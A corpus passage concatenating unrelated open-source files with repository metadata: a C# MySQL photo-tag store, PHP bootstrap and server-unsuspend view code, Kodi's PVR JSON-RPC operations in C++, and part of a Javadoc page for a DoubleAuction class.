MySqlParameter() { ParameterName = "tag_id", Value = _item.tag_id }); cmd.Parameters.Add( new MySqlParameter() { ParameterName = "photo_id", Value = _item.photo_id }); cmd.Connection = _connection; _item.id = Convert.ToInt64(cmd.ExecuteScalar()); m_Items.Add(_item.id, _item); _item.LoadAggregations(Meridian.Default); return _item; } public proto.photobank_photo_tags Update(MySqlConnection _connection, proto.photobank_photo_tags _item) { bool changed = false; var cmdText = ""; var cmd = new MySqlCommand("UPDATE photobank_photo_tags SET `tag_id`= @tag_id, `photo_id`= @photo_id WHERE id=@id"); ; if(_item.mc_id) { } cmd.Parameters.Add( new MySqlParameter() { ParameterName = "id", Value = _item.id }); if(_item.mc_tag_id) { changed = true; cmdText += (cmdText.Length > 0 ? ", " : "") + "tag_id = @tag_id"; cmd.Parameters.Add( new MySqlParameter() { ParameterName = "tag_id", Value = _item.tag_id }); } if(_item.mc_photo_id) { changed = true; cmdText += (cmdText.Length > 0 ? ", " : "") + "photo_id = @photo_id"; cmd.Parameters.Add( new MySqlParameter() { ParameterName = "photo_id", Value = _item.photo_id }); } if(changed) { cmd.CommandText = "UPDATE photobank_photo_tags SET " + cmdText + " WHERE id=@id"; cmd.Connection = _connection; cmd.ExecuteNonQuery(); _item.LoadAggregations(Meridian.Default); } return _item; } public proto.photobank_photo_tags Delete(MySqlConnection _connection, proto.photobank_photo_tags _item) { var cmd = new MySqlCommand("DELETE FROM photobank_photo_tags WHERE id=@id"); ; cmd.Parameters.Add( new MySqlParameter() { ParameterName = "id", Value = _item.id }); cmd.Connection = _connection; cmd.ExecuteScalar(); return _item; } public proto.photobank_photo_tags Insert(proto.photobank_photo_tags _item) { MeridianMonitor.Default.MySqlActionForeground((conn) => Insert(conn, _item));; return _item; } public proto.photobank_photo_tags Persist(proto.photobank_photo_tags _item) { if(_item.id <= 0) { _item = Insert(_item); } _item = Update(_item); return _item; } public proto.photobank_photo_tags Delete(proto.photobank_photo_tags _item) { _item.DeleteCompositions(Meridian.Default); _item.DeleteAggregations(); m_Items.Remove(_item.id); MeridianMonitor.Default.MySqlActionBackground((conn) => Delete(conn, _item));; return _item; } public proto.photobank_photo_tags Update(proto.photobank_photo_tags _item) { MeridianMonitor.Default.MySqlActionBackground((conn) => Update(conn, _item));; return _item; } public IList<proto.photobank_photo_tags> All() { return m_Items.Values; } public proto.photobank_photo_tags Get(long _id) { return m_Items[_id]; } public bool Exists(long _id) { return m_Items.ContainsKey(_id); } public void UpdateSync(MySqlConnection _connection, long _id, Meridian _meridian) { if (!Exists(_id)) { return; } var item = Get(_id); var cmd = new MySqlCommand("SELECT `id`, `tag_id`, `photo_id` FROM photobank_photo_tags WHERE id = " + _id.ToString()); cmd.Connection = _connection; using(var reader = cmd.ExecuteReader()) { while(reader.Read()) { item.DeleteCompositions(Meridian.Default); item.DeleteAggregations(); item.LoadFromReader(reader); item.LoadAggregations(_meridian); item.LoadCompositions(_meridian); } } } public void InsertSync(MySqlConnection _connection, long _id, Meridian _meridian) { if(Exists(_id)) return;; var cmd = new MySqlCommand("SELECT `id`, `tag_id`, `photo_id` FROM photobank_photo_tags WHERE id = " + _id.ToString()); cmd.Connection = _connection; using(var reader = cmd.ExecuteReader()) { while(reader.Read()) { var item = new proto.photobank_photo_tags(); item.LoadFromReader(reader); item.LoadAggregations(_meridian); item.LoadCompositions(_meridian); m_Items.Add(item.id, item); } } } public void DeleteSync(MySqlConnection _connection, long _id, Meridian _meridian) { if (!Exists(_id)) { return; } var item = Get(_id); item.DeleteCompositions(Meridian.Default); item.DeleteAggregations(); m_Items.Remove(item.id); } } }
seavan/smoltoday
trunk/src/meridian.smolensk/protoStore/photobank_photo_tagsStore.cs
C#
gpl-2.0
7,222
<?php require __DIR__ . '/__init__.php'; main( function () { return \Slime\Framework\InitBean::factory() ->set_1_CFG(array('~PHP', DIR_CONFIG, 'publish')) ->set_2_CompConf('component_common;component_cli') ->set_2_Event('event_cli') ->set_2_Router('route_cli'); } );
smallslime/slime_app_creator
__APP__/__STD__/public/cli_publish.php
PHP
gpl-2.0
336
INDEV
erdblock/erdblock-youtube
README-sandkasten.md
Markdown
gpl-2.0
6
<?php if ($this->input->is_ajax_request()): ?> <?php $this->output->set_output(''); ?> <div class="modal-dialog"> <div class="modal-content"> <?php echo form_open('server/unsuspend/'.$container->ctid, array('class' => 'form-horizontal')); ?> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button> <h4 class="modal-title">Unsuspend Server</h4> </div> <div class="modal-body"> <p>Please enter a reason for unsuspension. Please note that this will be visible to the customer!</p> <div class="form-group<?php echo (my_form_error('reason') != FALSE ? ' has-error' : ''); ?>"> <label for="reason" class="col-md-3 control-label">Reason:</label> <div class="col-md-7"> <?php echo form_input('reason', set_value('reason'), 'class="form-control"'); ?> <?php echo my_form_error('reason', '<span class="help-block">', '</span>'); ?> </div> </div> </div> <div class="modal-footer"> <?php echo form_submit('unsuspend', 'Unsuspend', 'class="btn btn-primary"'); ?> <button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button> <?php echo form_close(); ?> </div> </div> </div> <?php die(); ?> <?php else: ?> <?php echo validation_errors(); ?> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading">Unsuspend Server <?php echo $container->hostname; ?></div> <div class="panel-body"> <p>Please enter a reason for unsuspension. Please note that this will be visible to the customer!</p> <?php echo form_open('server/unsuspend/'.$container->ctid, array('class' => 'form-horizontal')); ?> <div class="form-group<?php echo (my_form_error('reason') != FALSE ? ' has-error' : ''); ?>"> <label for="reason" class="col-md-3 control-label">Reason:</label> <div class="col-md-7"> <?php echo form_input('reason', set_value('reason'), 'class="form-control"'); ?> <?php echo my_form_error('reason', '<span class="help-block">', '</span>'); ?> </div> </div> <?php echo form_submit('unsuspend', 'Unsuspend', 'class="btn btn-primary"'); ?> <?php echo form_submit('cancel', 'Cancel', 'class="btn btn-default"'); ?> <?php echo form_close(); ?> </div> </div> </div> <?php endif; ?>
HostGuard/default-theme
bootstrap/server/unsuspend.php
PHP
gpl-2.0
3,644
/* * Copyright (C) 2012-2013 Team XBMC * http://xbmc.org * * This Program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This Program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with XBMC; see the file COPYING. If not, see * <http://www.gnu.org/licenses/>. * */ #include "PVROperations.h" #include "messaging/ApplicationMessenger.h" #include "ServiceBroker.h" #include "pvr/PVRGUIActions.h" #include "pvr/PVRManager.h" #include "pvr/channels/PVRChannelGroupsContainer.h" #include "pvr/channels/PVRChannel.h" #include "pvr/timers/PVRTimers.h" #include "pvr/recordings/PVRRecordings.h" #include "epg/Epg.h" #include "epg/EpgContainer.h" #include "utils/Variant.h" using namespace JSONRPC; using namespace PVR; using namespace EPG; using namespace KODI::MESSAGING; JSONRPC_STATUS CPVROperations::GetProperties(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CVariant properties = CVariant(CVariant::VariantTypeObject); for (unsigned int index = 0; index < parameterObject["properties"].size(); index++) { std::string propertyName = parameterObject["properties"][index].asString(); CVariant property; JSONRPC_STATUS ret; if ((ret = GetPropertyValue(propertyName, property)) != OK) return ret; properties[propertyName] = property; } result = properties; return OK; } JSONRPC_STATUS CPVROperations::GetChannelGroups(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRChannelGroupsContainerPtr channelGroupContainer = CServiceBroker::GetPVRManager().ChannelGroups(); if (!channelGroupContainer) return FailedToExecute; CPVRChannelGroups *channelGroups = channelGroupContainer->Get(parameterObject["channeltype"].asString().compare("radio") == 0); if (channelGroups == NULL) return FailedToExecute; int start, end; std::vector<CPVRChannelGroupPtr> groupList = channelGroups->GetMembers(true); HandleLimits(parameterObject, result, groupList.size(), start, end); for (int index = start; index < end; index++) FillChannelGroupDetails(groupList.at(index), parameterObject, result["channelgroups"], true); return OK; } JSONRPC_STATUS CPVROperations::GetChannelGroupDetails(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRChannelGroupsContainerPtr channelGroupContainer = CServiceBroker::GetPVRManager().ChannelGroups(); if (!channelGroupContainer) return FailedToExecute; CPVRChannelGroupPtr channelGroup; CVariant id = parameterObject["channelgroupid"]; if (id.isInteger()) channelGroup = channelGroupContainer->GetByIdFromAll((int)id.asInteger()); else if (id.isString()) channelGroup = channelGroupContainer->GetGroupAll(id.asString() == "allradio"); if (channelGroup == NULL) return InvalidParams; FillChannelGroupDetails(channelGroup, parameterObject, result["channelgroupdetails"], false); return OK; } JSONRPC_STATUS CPVROperations::GetChannels(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRChannelGroupsContainerPtr channelGroupContainer = CServiceBroker::GetPVRManager().ChannelGroups(); if (!channelGroupContainer) return FailedToExecute; CPVRChannelGroupPtr channelGroup; CVariant id = parameterObject["channelgroupid"]; if (id.isInteger()) channelGroup = channelGroupContainer->GetByIdFromAll((int)id.asInteger()); else if (id.isString()) channelGroup = channelGroupContainer->GetGroupAll(id.asString() == "allradio"); if (channelGroup == NULL) return InvalidParams; CFileItemList channels; if (channelGroup->GetMembers(channels) < 0) return InvalidParams; HandleFileItemList("channelid", false, "channels", channels, parameterObject, result, true); return OK; } JSONRPC_STATUS CPVROperations::GetChannelDetails(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRChannelGroupsContainerPtr channelGroupContainer = CServiceBroker::GetPVRManager().ChannelGroups(); if (!channelGroupContainer) return FailedToExecute; CPVRChannelPtr channel = channelGroupContainer->GetChannelById((int)parameterObject["channelid"].asInteger()); if (channel == NULL) return InvalidParams; HandleFileItem("channelid", false, "channeldetails", CFileItemPtr(new CFileItem(channel)), parameterObject, parameterObject["properties"], result, false); return OK; } JSONRPC_STATUS CPVROperations::GetBroadcasts(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRChannelGroupsContainerPtr channelGroupContainer = CServiceBroker::GetPVRManager().ChannelGroups(); if (!channelGroupContainer) return FailedToExecute; CPVRChannelPtr channel = channelGroupContainer->GetChannelById((int)parameterObject["channelid"].asInteger()); if (channel == NULL) return InvalidParams; CEpgPtr channelEpg = channel->GetEPG(); if (!channelEpg) return InternalError; CFileItemList programFull; channelEpg->Get(programFull); HandleFileItemList("broadcastid", false, "broadcasts", programFull, parameterObject, result, programFull.Size(), true); return OK; } JSONRPC_STATUS CPVROperations::GetBroadcastDetails(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; const CEpgInfoTagPtr epgTag = g_EpgContainer.GetTagById(CPVRChannelPtr(), parameterObject["broadcastid"].asUnsignedInteger()); if (!epgTag) return InvalidParams; HandleFileItem("broadcastid", false, "broadcastdetails", CFileItemPtr(new CFileItem(epgTag)), parameterObject, parameterObject["properties"], result, false); return OK; } JSONRPC_STATUS CPVROperations::Record(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRChannelPtr pChannel; CVariant channel = parameterObject["channel"]; if (channel.isString() && channel.asString() == "current") { pChannel = CServiceBroker::GetPVRManager().GetCurrentChannel(); if (!pChannel) return InternalError; } else if (channel.isInteger()) { CPVRChannelGroupsContainerPtr channelGroupContainer = CServiceBroker::GetPVRManager().ChannelGroups(); if (!channelGroupContainer) return FailedToExecute; pChannel = channelGroupContainer->GetChannelById((int)channel.asInteger()); } else return InvalidParams; if (pChannel == NULL) return InvalidParams; else if (!pChannel->CanRecord()) return FailedToExecute; CVariant record = parameterObject["record"]; bool toggle = true; if (record.isBoolean() && record.asBoolean() == pChannel->IsRecording()) toggle = false; if (toggle) { if (!CServiceBroker::GetPVRManager().GUIActions()->SetRecordingOnChannel(pChannel, pChannel->IsRecording())) return FailedToExecute; } return ACK; } JSONRPC_STATUS CPVROperations::Scan(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CServiceBroker::GetPVRManager().GUIActions()->StartChannelScan(); return ACK; } JSONRPC_STATUS CPVROperations::GetPropertyValue(const std::string &property, CVariant &result) { bool started = CServiceBroker::GetPVRManager().IsStarted(); if (property == "available") result = started; else if (property == "recording") { if (started) result = CServiceBroker::GetPVRManager().IsRecording(); else result = false; } else if (property == "scanning") { if (started) result = CServiceBroker::GetPVRManager().GUIActions()->IsRunningChannelScan(); else result = false; } else return InvalidParams; return OK; } void CPVROperations::FillChannelGroupDetails(const CPVRChannelGroupPtr &channelGroup, const CVariant &parameterObject, CVariant &result, bool append /* = false */) { if (channelGroup == NULL) return; CVariant object(CVariant::VariantTypeObject); object["channelgroupid"] = channelGroup->GroupID(); object["channeltype"] = channelGroup->IsRadio() ? "radio" : "tv"; object["label"] = channelGroup->GroupName(); if (append) result.append(object); else { CFileItemList channels; channelGroup->GetMembers(channels); object["channels"] = CVariant(CVariant::VariantTypeArray); HandleFileItemList("channelid", false, "channels", channels, parameterObject["channels"], object, false); result = object; } } JSONRPC_STATUS CPVROperations::GetTimers(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRTimersPtr timers = CServiceBroker::GetPVRManager().Timers(); if (!timers) return FailedToExecute; CFileItemList timerList; timers->GetAll(timerList); HandleFileItemList("timerid", false, "timers", timerList, parameterObject, result, true); return OK; } JSONRPC_STATUS CPVROperations::GetTimerDetails(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRTimersPtr timers = CServiceBroker::GetPVRManager().Timers(); if (!timers) return FailedToExecute; CPVRTimerInfoTagPtr timer = timers->GetById((int)parameterObject["timerid"].asInteger()); if (!timer) return InvalidParams; HandleFileItem("timerid", false, "timerdetails", CFileItemPtr(new CFileItem(timer)), parameterObject, parameterObject["properties"], result, false); return OK; } JSONRPC_STATUS CPVROperations::AddTimer(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; const CEpgInfoTagPtr epgTag = g_EpgContainer.GetTagById(CPVRChannelPtr(), parameterObject["broadcastid"].asUnsignedInteger()); if (!epgTag) return InvalidParams; if (epgTag->HasTimer()) return InvalidParams; CPVRTimerInfoTagPtr newTimer = CPVRTimerInfoTag::CreateFromEpg(epgTag, parameterObject["timerrule"].asBoolean(false)); if (newTimer) { if (CServiceBroker::GetPVRManager().GUIActions()->AddTimer(newTimer)) return ACK; } return FailedToExecute; } JSONRPC_STATUS CPVROperations::DeleteTimer(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRTimersPtr timers = CServiceBroker::GetPVRManager().Timers(); if (!timers) return FailedToExecute; CPVRTimerInfoTagPtr timer = timers->GetById(parameterObject["timerid"].asInteger()); if (!timer) return InvalidParams; if (timers->DeleteTimer(timer, timer->IsRecording(), false)) return ACK; return FailedToExecute; } JSONRPC_STATUS CPVROperations::ToggleTimer(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; const CEpgInfoTagPtr epgTag = g_EpgContainer.GetTagById(CPVRChannelPtr(), parameterObject["broadcastid"].asUnsignedInteger()); if (!epgTag) return InvalidParams; bool timerrule = parameterObject["timerrule"].asBoolean(false); bool sentOkay = false; CPVRTimerInfoTagPtr timer(epgTag->Timer()); if (timer) { if (timerrule) timer = CServiceBroker::GetPVRManager().Timers()->GetTimerRule(timer); if (timer) sentOkay = CServiceBroker::GetPVRManager().Timers()->DeleteTimer(timer, timer->IsRecording(), false); } else { timer = CPVRTimerInfoTag::CreateFromEpg(epgTag, timerrule); if (!timer) return InvalidParams; sentOkay = CServiceBroker::GetPVRManager().GUIActions()->AddTimer(timer); } if (sentOkay) return ACK; return FailedToExecute; } JSONRPC_STATUS CPVROperations::GetRecordings(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRRecordingsPtr recordings = CServiceBroker::GetPVRManager().Recordings(); if (!recordings) return FailedToExecute; CFileItemList recordingsList; recordings->GetAll(recordingsList); HandleFileItemList("recordingid", true, "recordings", recordingsList, parameterObject, result, true); return OK; } JSONRPC_STATUS CPVROperations::GetRecordingDetails(const std::string &method, ITransportLayer *transport, IClient *client, const CVariant &parameterObject, CVariant &result) { if (!CServiceBroker::GetPVRManager().IsStarted()) return FailedToExecute; CPVRRecordingsPtr recordings = CServiceBroker::GetPVRManager().Recordings(); if (!recordings) return FailedToExecute; CFileItemPtr recording = recordings->GetById((int)parameterObject["recordingid"].asInteger()); if (!recording) return InvalidParams; HandleFileItem("recordingid", true, "recordingdetails", recording, parameterObject, parameterObject["properties"], result, false); return OK; }
AlwinEsch/kodi-agile
xbmc/interfaces/json-rpc/PVROperations.cpp
C++
gpl-2.0
14,802
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0) on Tue Apr 10 16:02:14 GMT-05:00 2007 --> <TITLE> DoubleAuction </TITLE> <META NAME="date" CONTENT="2007-04-10"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="DoubleAuction"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/DoubleAuction.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/BucketStorageAgent.html" title="class in alphabetsoup.simulators.markettaskallocation"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Economy.html" title="class in alphabetsoup.simulators.markettaskallocation"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html?alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="DoubleAuction.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <!-- ======== START OF CLASS DATA ======== --> <H2> <FONT SIZE="-1"> alphabetsoup.simulators.markettaskallocation</FONT> <BR> Class DoubleAuction&lt;ItemType,SellerType,BuyerType&gt;</H2> <PRE> java.lang.Object <IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>alphabetsoup.simulators.markettaskallocation.DoubleAuction&lt;ItemType,SellerType,BuyerType&gt;</B> </PRE> <HR> <DL> <DT><PRE>public class <B>DoubleAuction&lt;ItemType,SellerType,BuyerType&gt;</B><DT>extends java.lang.Object</DL> </PRE> <P> <DL> <DT><B>Author:</B></DT> <DD>Chris Hazard</DD> </DL> <HR> <P> <!-- =========== FIELD SUMMARY =========== --> <A NAME="field_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Field Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;java.util.List&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;&gt;</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#offers">offers</A></B></CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List that maintains all of the offers, always sorted descending by value.</TD> </TR> </TABLE> &nbsp; <!-- ======== CONSTRUCTOR SUMMARY ======== --> <A NAME="constructor_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Constructor Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#DoubleAuction()">DoubleAuction</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <!-- ========== METHOD SUMMARY =========== --> <A NAME="method_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Method Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;java.util.List&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;&gt;</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#acceptAllExchangesFrom(java.util.Set, java.util.Set, float)">acceptAllExchangesFrom</A></B>(java.util.Set&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;&nbsp;buyers, java.util.Set&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&gt;&nbsp;sellers, float&nbsp;price)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns a list of all the exchanges that occur given the current market from the specified subset of buyers and sellers (those that are not able to currently participate are</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#acceptNextBuyerExchange(BuyerType)">acceptNextBuyerExchange</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&nbsp;buyer)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns the next exchange for the specified buyer.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/Exchange.html" title="class in alphabetsoup.simulators.markettaskallocation">Exchange</A>&lt;<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">ItemType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>,<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">BuyerType</A>&gt;</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html#acceptNextSellerExchange(SellerType)">acceptNextSellerExchange</A></B>(<A HREF="../../../alphabetsoup/simulators/markettaskallocation/DoubleAuction.html" title="type parameter in DoubleAuction">SellerType</A>&nbsp;seller)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns the next exchange for the specified seller.</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" 